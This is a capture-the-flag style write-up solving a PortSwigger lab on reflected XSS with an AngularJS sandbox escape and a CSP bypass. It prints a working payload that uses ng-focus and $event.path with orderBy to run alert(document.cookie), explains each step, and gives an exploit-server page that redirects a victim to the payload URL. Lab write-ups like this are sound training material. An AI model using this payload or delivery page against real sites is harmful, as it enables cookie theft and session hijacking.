Reflected XSS with AngularJS sandbox escape and CSP | Jan 1, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Reflected XSS with AngularJS sandbox escape and CSP! Without further ado, let’s dive in.

Overall difficulty for me (From 1-10 stars): ★★★★★★★☆☆☆

Background

This lab uses CSP and AngularJS.

To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts document.cookie.

Exploitation

Home page:

In here, we can see there is a search box.

Let’s search something:

As you can see, our input is reflected to the web page.

Burp Suite HTTP history:

In here, we also can see the CSP (Content Security Policy) is enabled.

Content-Security-Policy: default-src 'self'; script-src 'self'

In this case, it’ll only allow scripts to be loaded from the same origin as the page itself.

Now, let’s try to inject some HTML tags:

<input autofocus>

Yep we can.

Next, we need to bypass the AngularJS sandbox and CSP:

<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x

First, we use ng-focus event in AngularJS to create a focus event that bypasses CSP.
Then, use $event, which is an AngularJS variable that references the event object.
After that, the path property is specific to Chrome and contains an array of elements that triggered the event. The last element in the array contains the window object.
Finally, use the orderBy filter, and the : is the argument that is being sent to the filter. In the argument, instead of calling the alert function directly, we assign it to the variable z. The function will only be called when the orderBy operation reaches the window object in the $event.path array. This means it can be called in the scope of the window without an explicit reference to the window object, effectively bypassing AngularJS’s window check.

Now, we can go the exploit server, host our payload and deliver to victim:

<html>
    <head>
        <title>XSS-28</title>
    </head>
    <body>
        <script>
            window.location.replace("https://0a6b004b04d03a63c09d548600500044.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x");
        </script>
    </body>
</html>

Nice!

What we’ve learned:

Reflected XSS with AngularJS sandbox escape and CSP